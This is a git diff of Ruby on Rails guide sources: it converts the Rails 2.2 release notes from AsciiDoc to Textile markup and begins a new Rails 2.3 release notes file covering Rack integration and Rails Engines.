@@ -1,70 +1,69 @@
-Ruby on Rails 2.2 Release Notes
-===============================
+h2. Ruby on Rails 2.2 Release Notes
 
-Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the link:http://github.com/rails/rails/commits/master[list of commits] in the main Rails repository on GitHub.
+Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
 
-Along with Rails, 2.2 marks the launch of the link:http://guides.rubyonrails.org/[Ruby on Rails Guides], the first results of the ongoing link:http://hackfest.rubyonrails.org/guide[Rails Guides hackfest]. This site will deliver high-quality documentation of the major features of Rails.
+Along with Rails, 2.2 marks the launch of the "Ruby on Rails Guides":http://guides.rubyonrails.org/, the first results of the ongoing "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide. This site will deliver high-quality documentation of the major features of Rails.
 
-== Infrastructure
+endprologue.
+
+h3. Infrastructure
 
 Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
 
-=== Internationalization
+h4. Internationalization
 
 Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
 
 * Lead Contributors: Rails i18 Team
 * More information :
-  - link:http://rails-i18n.org[Official Rails i18 website]
-  - link:http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized[Finally. Ruby on Rails gets internationalized]
-  - link:http://i18n-demo.phusion.nl[Localizing Rails : Demo application]
+** "Official Rails i18 website":http://rails-i18n.org
+** "Finally. Ruby on Rails gets internationalized":http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized
+** "Localizing Rails : Demo application":http://i18n-demo.phusion.nl
 
-=== Compatibility with Ruby 1.9 and JRuby
+h4. Compatibility with Ruby 1.9 and JRuby
 
 Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
 
-== Documentation
+h3. Documentation
 
-The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the link:http://guides.rubyonrails.org/[Ruby on Rails Guides] project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
+The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the "Ruby on Rails Guides":http://guides.rubyonrails.org/ project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
 
-* link:http://guides.rubyonrails.org/getting_started_with_rails.html[Getting Started with Rails]
-* link:http://guides.rubyonrails.org/migrations.html[Rails Database Migrations]
-* link:http://guides.rubyonrails.org/association_basics.html[Active Record Associations]
-* link:http://guides.rubyonrails.org/finders.html[Active Record Finders]
-* link:http://guides.rubyonrails.org/layouts_and_rendering.html[Layouts and Rendering in Rails]
-* link:http://guides.rubyonrails.org/form_helpers.html[Action View Form Helpers]
-* link:http://guides.rubyonrails.org/routing_outside_in.html[Rails Routing from the Outside In]
-* link:http://guides.rubyonrails.org/actioncontroller_basics.html[Basics of Action Controller]
-* link:http://guides.rubyonrails.org/caching_with_rails.html[Rails Caching]
-* link:http://guides.rubyonrails.org/testing_rails_applications.html[Testing Rails Applications]
-* link:http://guides.rubyonrails.org/security.html[Securing Rails Applications]
-* link:http://guides.rubyonrails.org/debugging_rails_applications.html[Debugging Rails Applications]
-* link:http://guides.rubyonrails.org/benchmarking_and_profiling.html[Benchmarking and Profiling Rails Applications]
-* link:http://guides.rubyonrails.org/creating_plugins.html[The Basics of Creating Rails Plugins]
+* "Getting Started with Rails":http://guides.rubyonrails.org/getting_started_with_rails.html
+* "Rails Database Migrations":http://guides.rubyonrails.org/migrations.html
+* "Active Record Associations":http://guides.rubyonrails.org/association_basics.html
+* "Active Record Finders":http://guides.rubyonrails.org/finders.html
+* "Layouts and Rendering in Rails":http://guides.rubyonrails.org/layouts_and_rendering.html
+* "Action View Form Helpers":http://guides.rubyonrails.org/form_helpers.html
+* "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing_outside_in.html
+* "Basics of Action Controller":http://guides.rubyonrails.org/actioncontroller_basics.html
+* "Rails Caching":http://guides.rubyonrails.org/caching_with_rails.html
+* "Testing Rails Applications":http://guides.rubyonrails.org/testing_rails_applications.html
+* "Securing Rails Applications":http://guides.rubyonrails.org/security.html
+* "Debugging Rails Applications":http://guides.rubyonrails.org/debugging_rails_applications.html
+* "Benchmarking and Profiling Rails Applications":http://guides.rubyonrails.org/benchmarking_and_profiling.html
+* "The Basics of Creating Rails Plugins":http://guides.rubyonrails.org/creating_plugins.html
 
 All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
 
 If you want to generate these guides locally, inside your application:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 rake doc:guides
--------------------------------------------------------
+</ruby>
 
 This will put the guides inside +RAILS_ROOT/doc/guides+ and you may start surfing straight away by opening +RAILS_ROOT/doc/guides/index.html+ in your favourite browser.
 
-* Lead Contributors: link:http://guides.rails.info/authors.html[Rails Documentation Team]
-* Major contributions from link:http://advogato.org/person/fxn/diary.html[Xavier Noria] and link:http://izumi.plan99.net/blog/[Hongli Lai].
+* Lead Contributors: "Rails Documentation Team":http://guides.rails.info/credits.html
+* Major contributions from "Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai":http://izumi.plan99.net/blog/.
 * More information:
- - link:http://hackfest.rubyonrails.org/guide[Rails Guides hackfest]
- - link:http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch[Help improve Rails documentation on Git branch]
+** "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide
+** "Help improve Rails documentation on Git branch":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch
 
-== Better integration with HTTP : Out of the box ETag support
+h3. Better integration with HTTP : Out of the box ETag support
 
 Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class ArticlesController < ApplicationController
   def show_with_respond_to_block
     @article = Article.find(params[:id])
@@ -94,61 +93,58 @@ class ArticlesController < ApplicationController
     fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
   end
 end
--------------------------------------------------------
+</ruby>
 
-== Thread Safety
+h3. Thread Safety
 
 The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
 
 To enable multithreaded dispatching in production mode of your application, add the following line in your +config/environments/production.rb+:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 config.threadsafe!
--------------------------------------------------------
+</ruby>
 
 * More information :
- - link:http://m.onkey.org/2008/10/23/thread-safety-for-your-rails[Thread safety for your Rails]
- - link:http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core[Thread safety project announcement]
- - link:http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html[Q/A: What Thread-safe Rails Means]
+** "Thread safety for your Rails":http://m.onkey.org/2008/10/23/thread-safety-for-your-rails
+** "Thread safety project announcement":http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core
+** "Q/A: What Thread-safe Rails Means":http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html
 
-== Active Record
+h3. Active Record
 
 There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
 
-=== Transactional Migrations
+h4. Transactional Migrations
 
 Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by +rake db:migrate:redo+ after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.
 
-* Lead Contributor: link:http://adam.blog.heroku.com/[Adam Wiggins]
+* Lead Contributor: "Adam Wiggins":http://adam.blog.heroku.com/
 * More information:
- - link:http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/[DDL Transactions]
- - link:http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/[A major milestone for DB2 on Rails]
+** "DDL Transactions":http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/
+** "A major milestone for DB2 on Rails":http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/
 
-=== Connection Pooling
+h4. Connection Pooling
 
 Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a +pool+ key to your +database.yml+ to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a +wait_timeout+ that defaults to 5 seconds before giving up. +ActiveRecord::Base.connection_pool+ gives you direct access to the pool if you need it.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 development:
   adapter: mysql
   username: root
   database: sample_development
   pool: 10
   wait_timeout: 10
--------------------------------------------------------
+</ruby>
 
-* Lead Contributor: link:http://blog.nicksieger.com/[Nick Sieger]
-* More information: 
- - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools[What's New in Edge Rails: Connection Pools]
+* Lead Contributor: "Nick Sieger":http://blog.nicksieger.com/
+* More information:
+** "What's New in Edge Rails: Connection Pools":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools
 
-=== Hashes for Join Table Conditions
+h4. Hashes for Join Table Conditions
 
 You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Photo < ActiveRecord::Base
   belongs_to :product
 end
@@ -159,113 +155,108 @@ end
 
 # Get all products with copyright-free photos:
 Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
--------------------------------------------------------
+</ruby>
 
 * More information:
- - link:http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions[What's New in Edge Rails: Easy Join Table Conditions]
+** "What's New in Edge Rails: Easy Join Table Conditions":http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions
 
-=== New Dynamic Finders
+h4. New Dynamic Finders
 
 Two new sets of methods have been added to Active Record's dynamic finders family.
 
-==== +find_last_by_<attribute>+
+h5. +find_last_by_<em>attribute</em>+
 
-The +find_last_by_<attribute>+ method is equivalent to +Model.last(:conditions => {:attribute => value})+
-	
-[source, ruby]
--------------------------------------------------------
+The +find_last_by_<em>attribute</em>+ method is equivalent to +Model.last(:conditions => {:attribute => value})+
+
+<ruby>
 # Get the last user who signed up from London
 User.find_last_by_city('London')
--------------------------------------------------------
+</ruby>
 
-* Lead Contributor: link:http://www.workingwithrails.com/person/9147-emilio-tagua[Emilio Tagua]
+* Lead Contributor: "Emilio Tagua":http://www.workingwithrails.com/person/9147-emilio-tagua
 
-==== +find_by_<attribute>!+ 
-	
-The new bang! version of +find_by_<attribute>!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match.
-	
-[source, ruby]
--------------------------------------------------------
+h5. +find_by_<em>attribute</em>!+
+
+The new bang! version of +find_by_<em>attribute</em>!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match.
+
+<ruby>
 # Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
 User.find_by_name!('Moby')
--------------------------------------------------------
+</ruby>
 
-* Lead Contributor: link:http://blog.hasmanythrough.com[Josh Susser]
+* Lead Contributor: "Josh Susser":http://blog.hasmanythrough.com
 
-=== Associations Respect Private/Protected Scope
+h4. Associations Respect Private/Protected Scope
 
 Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) +@user.account.private_method+ would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use +@user.account.send(:private_method)+ (or make the method public instead of private or protected). Please note that if you're overriding +method_missing+, you should also override +respond_to+ to match the behavior in order for associations to function normally.
 
 * Lead Contributor: Adam Milligan
 * More information:
- - link:http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/[Rails 2.2 Change: Private Methods on Association Proxies are Private]
+** "Rails 2.2 Change: Private Methods on Association Proxies are Private":http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/
 
-=== Other ActiveRecord Changes
+h4. Other ActiveRecord Changes
 
 * +rake db:migrate:redo+ now accepts an optional VERSION to target that specific migration to redo
-* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp. 
+* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp.
 * Counter cache columns (for associations declared with +:counter_cache => true+) do not need to be initialized to zero any longer.
 * +ActiveRecord::Base.human_name+ for an internationalization-aware humane translation of model names
 
-== Action Controller
+h3. Action Controller
 
 On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
 
-=== Shallow Route Nesting
+h4. Shallow Route Nesting
 
-Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. 
+Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :publishers, :shallow => true do |publisher|
   publisher.resources :magazines do |magazine|
     magazine.resources :photos
   end
 end
--------------------------------------------------------
+</ruby>
 
 This will enable recognition of (among others) these routes:
 
--------------------------------------------------------
+<ruby>
 /publishers/1           ==> publisher_path(1)
 /publishers/1/magazines ==> publisher_magazines_path(1)
 /magazines/2            ==> magazine_path(2)
 /magazines/2/photos     ==> magazines_photos_path(2)
 /photos/3               ==> photo_path(3)
--------------------------------------------------------
+</ruby>
 
-* Lead Contributor: link:http://www.unwwwired.net/[S. Brent Faulkner]
-* More information: 
- - link:http://guides.rails.info/routing/routing_outside_in.html#_nested_resources[Rails Routing from the Outside In]
- - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes[What's New in Edge Rails: Shallow Routes]
+* Lead Contributor: "S. Brent Faulkner":http://www.unwwwired.net/
+* More information:
+** "Rails Routing from the Outside In":http://guides.rails.info/routing/routing_outside_in.html#_nested_resources
+** "What's New in Edge Rails: Shallow Routes":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes
 
-=== Method Arrays for Member or Collection Routes
+h4. Method Arrays for Member or Collection Routes
 
 You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :collection => { :search => [:get, :post] }
--------------------------------------------------------
+</ruby>
 
-* Lead Contributor: link:http://brennandunn.com/[Brennan Dunn]
+* Lead Contributor: "Brennan Dunn":http://brennandunn.com/
 
-=== Resources With Specific Actions
+h4. Resources With Specific Actions
 
 By default, when you use +map.resources+ to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the +:only+ and +:except+ options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special +:all+ or +:none+ options. These options are inherited by nested resources.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos, :only => [:index, :show]
 map.resources :products, :except => :destroy
--------------------------------------------------------
+</ruby>
 
-* Lead Contributor: link:http://experthuman.com/[Tom Stuart]
+* Lead Contributor: "Tom Stuart":http://experthuman.com/
 
-=== Other Action Controller Changes
+h4. Other Action Controller Changes
 
-* You can now easily link:http://m.onkey.org/2008/7/20/rescue-from-dispatching[show a custom error page] for exceptions raised while routing a request.
-* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.user_accept_header = true+.
+* You can now easily "show a custom error page":http://m.onkey.org/2008/7/20/rescue-from-dispatching for exceptions raised while routing a request.
+* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.use_accept_header = true+.
 * Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
 * Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
 * +redirect_to+ now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI).
@@ -273,94 +264,89 @@ map.resources :products, :except => :destroy
 * Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
 * Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling +polymorphic_path([@project, @date, @area])+ with a nil date will give you +project_area_path+.
 
-== Action View
+h3. Action View
 
 * +javascript_include_tag+ and +stylesheet_link_tag+ support a new +:recursive+ option to be used along with +:all+, so that you can load an entire tree of files with a single line of code.
 * The included Prototype javascript library has been upgraded to version 1.6.0.3.
 * +RJS#page.reload+ to reload the browser's current location via javascript
 * The +atom_feed+ helper now takes an +:instruct+ option to let you insert XML processing instructions.
 
-== Action Mailer
+h3. Action Mailer
 
 Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the +CustomerMailer+ class expects to use +layouts/customer_mailer.html.erb+.
 
 * More information:
- - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts[What's New in Edge Rails: Mailer Layouts]
+** "What's New in Edge Rails: Mailer Layouts":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts
 
 Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
 
-== Active Support
+h3. Active Support
 
 Active Support now offers built-in memoization for Rails applications, the +each_with_object+ method, prefix support on delegates, and various other new utility methods.
 
-=== Memoization
+h4. Memoization
 
 Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 def full_name
   @full_name ||= "#{first_name} #{last_name}"
 end
--------------------------------------------------------
+</ruby>
 
 Memoization lets you handle this task in a declarative fashion:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 extend ActiveSupport::Memoizable
 
 def full_name
   "#{first_name} #{last_name}"
 end
 memoize :full_name
--------------------------------------------------------
+</ruby>
 
 Other features of memoization include +unmemoize+, +unmemoize_all+, and +memoize_all+ to turn memoization on or off.
 
-* Lead Contributor: link:http://joshpeek.com/[Josh Peek]
+* Lead Contributor: "Josh Peek":http://joshpeek.com/
 * More information:
- - link:http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization[What's New in Edge Rails: Easy Memoization]
- - link:http://www.railway.at/articles/2008/09/20/a-guide-to-memoization[Memo-what? A Guide to Memoization]
+** "What's New in Edge Rails: Easy Memoization":http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization
+** "Memo-what? A Guide to Memoization":http://www.railway.at/articles/2008/09/20/a-guide-to-memoization
 
-=== +each_with_object+
+h4. each_with_object
 
 The +each_with_object+ method provides an alternative to +inject+, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 %w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
--------------------------------------------------------
+</ruby>
 
-Lead Contributor: link:http://therealadam.com/[Adam Keys]
+Lead Contributor: "Adam Keys":http://therealadam.com/
 
-=== Delegates With Prefixes
+h4. Delegates With Prefixes
 
 If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Vendor < ActiveRecord::Base
   has_one :account
   delegate :email, :password, :to => :account, :prefix => true
 end
--------------------------------------------------------
+</ruby>
 
 This will produce delegated methods +vendor#account_email+ and +vendor#account_password+. You can also specify a custom prefix:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Vendor < ActiveRecord::Base
   has_one :account
   delegate :email, :password, :to => :account, :prefix => :owner
 end
--------------------------------------------------------
+</ruby>
 
 This will produce delegated methods +vendor#owner_email+ and +vendor#owner_password+.
 
-Lead Contributor: link:http://workingwithrails.com/person/5830-daniel-schierbeck[Daniel Schierbeck]
+Lead Contributor: "Daniel Schierbeck":http://workingwithrails.com/person/5830-daniel-schierbeck
 
-=== Other Active Support Changes
+h4. Other Active Support Changes
 
 * Extensive updates to +ActiveSupport::Multibyte+, including Ruby 1.9 compatibility fixes.
 * The addition of +ActiveSupport::Rescuable+ allows any class to mix in the +rescue_from+ syntax.
@@ -372,16 +358,16 @@ Lead Contributor: link:http://workingwithrails.com/person/5830-daniel-schierbeck
 * The included TzInfo library has been upgraded to version 0.3.12.
 * +ActiveSuport::StringInquirer+ gives you a pretty way to test for equality in strings: +ActiveSupport::StringInquirer.new("abc").abc? => true+
 
-== Railties
+h3. Railties
 
 In Railties (the core code of Rails itself) the biggest changes are in the +config.gems+ mechanism.
 
-=== +config.gems+
+h4. config.gems
 
 To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in +/vendor/gems+. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
 
 * +config.gem _gem_name_+ in your +config/environment.rb+ file
-* +rake gems+ to list all configured gems, as well as whether they (and their dependencies) are installed or frozen
+* +rake gems+ to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)
 * +rake gems:install+ to install missing gems to the computer
 * +rake gems:unpack+ to place a copy of the required gems into +/vendor/gems+
 * +rake gems:unpack:dependencies+ to get copies of the required gems and their dependencies into +/vendor/gems+
@@ -390,14 +376,15 @@ To avoid deployment issues and make Rails applications more self-contained, it's
 
 You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the command line.
 
-* Lead Contributor: link:http://github.com/al2o3cr[Matt Jones]
+* Lead Contributor: "Matt Jones":http://github.com/al2o3cr
 * More information:
- - link:http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies[What's New in Edge Rails: Gem Dependencies]
- - link:http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/[Rails 2.1.2 and 2.2RC1: Update Your RubyGems]
+** "What's New in Edge Rails: Gem Dependencies":http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies
+** "Rails 2.1.2 and 2.2RC1: Update Your RubyGems":http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/
+** "Detailed discussion on Lighthouse":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128
 
-=== Other Railties Changes
+h4. Other Railties Changes
 
-* If you're a fan of the link:http://code.macournoyer.com/thin/[Thin] web server, you'll be happy to know that +script/server+ now supports Thin directly.
+* If you're a fan of the "Thin":http://code.macournoyer.com/thin/ web server, you'll be happy to know that +script/server+ now supports Thin directly.
 * +script/plugin install <plugin> -r <revision>+ now works with git-based as well as svn-based plugins.
 * +script/console+ now supports a +--debugger+ option
 * Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
@@ -405,31 +392,31 @@ You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the com
 * Wrapped +Rails.env+ in +StringInquirer+ so you can do +Rails.env.development?+
 * To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
 
-== Deprecated
+h3. Deprecated
 
 A few pieces of older code are deprecated in this release:
 
 * +Rails::SecretKeyGenerator+ has been replaced by +ActiveSupport::SecureRandom+
-* +render_component+ is deprecated. There's a link:http://github.com/rails/render_component/tree/master[render_components plugin] available if you need this functionality.
+* +render_component+ is deprecated. There's a "render_components plugin":http://github.com/rails/render_component/tree/master available if you need this functionality.
 * Implicit local assignments when rendering partials has been deprecated.
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 def partial_with_implicit_local_assignment
   @customer = Customer.new("Marcel")
   render :partial => "customer"
 end
--------------------------------------------------------
+</ruby>
 
 Previously the above code made available a local variable called +customer+ inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.
 
-* +country_select+ has been removed. See the link:http://www.rubyonrails.org/deprecation/list-of-countries[deprecation page] for more information and a plugin replacement.
+* +country_select+ has been removed. See the "deprecation page":http://www.rubyonrails.org/deprecation/list-of-countries for more information and a plugin replacement.
 * +ActiveRecord::Base.allow_concurrency+ no longer has any effect.
 * +ActiveRecord::Errors.default_error_messages+ has been deprecated in favor of +I18n.translate('activerecord.errors.messages')+
 * The +%s+ and +%d+ interpolation syntax for internationalization is deprecated.
 * +String#chars+ has been deprecated in favor of +String#mb_chars+.
 * Durations of fractional months or fractional years are deprecated. Use Ruby's core +Date+ and +Time+ class arithmetic instead.
+* +Request#relative_url_root+ is deprecated. Use +ActionController::Base.relative_url_root+ instead.
 
-== Credits
+h3. Credits
 
-Release notes compiled by link:http://afreshcup.com[Mike Gunderloy]
+Release notes compiled by "Mike Gunderloy":http://afreshcup.com
diff --git a/vendor/rails/railties/guides/source/2_3_release_notes.textile b/vendor/rails/railties/guides/source/2_3_release_notes.textile
new file mode 100644
index 00000000..cc2e2dc2
--- /dev/null
+++ b/vendor/rails/railties/guides/source/2_3_release_notes.textile
@@ -0,0 +1,610 @@
+h2. Ruby on Rails 2.3 Release Notes
+
+Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components.
+
+endprologue.
+
+h3. Application Architecture
+
+There are two major changes in the architecture of Rails applications: complete integration of the "Rack":http://rack.rubyforge.org/ modular web server interface, and renewed support for Rails Engines.
+
+h4. Rack Integration
+
+Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:
+
+* Sessions
+* Cookies
+* File uploads
+* JSON/XML APIs
+
+Here's a summary of the rack-related changes:
+
+* +script/server+ has been switched to use Rack, which means it supports any Rack compatible server. +script/server+ will also pick up a rackup configuration file if one exists. By default, it will look for a +config.ru+ file, but you can override this with the +-c+ switch.
+* The FCGI handler goes through Rack.
+* +ActionController::Dispatcher+ maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in +environment.rb+.
+* The +rake middleware+ task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
+* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
+* +ActionController::CGIHandler+ is a backwards compatible CGI wrapper around Rack. The +CGIHandler+ is meant to take an old CGI object and convert its environment information into a Rack compatible form.
+* +CgiRequest+ and +CgiResponse+ have been removed.
+* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
+* You no longer need to use +CGI::Cookie.new+ in your tests for setting a cookie value. Assigning a +String+ value to request.cookies["foo"] now sets the cookie as expected.
+* +CGI::Session::CookieStore+ has been replaced by +ActionController::Session::CookieStore+.
+* +CGI::Session::MemCacheStore+ has been replaced by +ActionController::Session::MemCacheStore+.
+* +CGI::Session::ActiveRecordStore+ has been replaced by +ActiveRecord::SessionStore+.
+* You can still change your session store with +ActionController::Base.session_store = :active_record_store+.
+* Default sessions options are still set with +ActionController::Base.session = { :key => "..." }+.
+* The mutex that normally wraps your entire request has been moved into middleware, +ActionController::Lock+.
+* +ActionController::AbstractRequest+ and +ActionController::Request+ have been unified. The new +ActionController::Request+ inherits from +Rack::Request+. This affects access to +response.headers['type']+ in test requests. Use +response.content_type+ instead.
+* +ActiveRecord::QueryCache+ middleware is automatically inserted onto the middleware stack if +ActiveRecord+ has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
+* The Rails router and controller classes follow the Rack spec. You can call a controller directly with +SomeController.call(env)+. The router stores the routing parameters in +rack.routing_args+.
+* +ActionController::Request+ inherits from +Rack::Request+.
+* Instead of +config.action_controller.session = { :session_key => 'foo', ...+ use  +config.action_controller.session = { :key => 'foo', ...+.
+* Using the +ParamsParser+ middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any +Rack::Request+ object after it.
+
+h4. Renewed Support for Rails Engines
+
+After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your +routes.rb+ file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.
+
+h3. Documentation
+
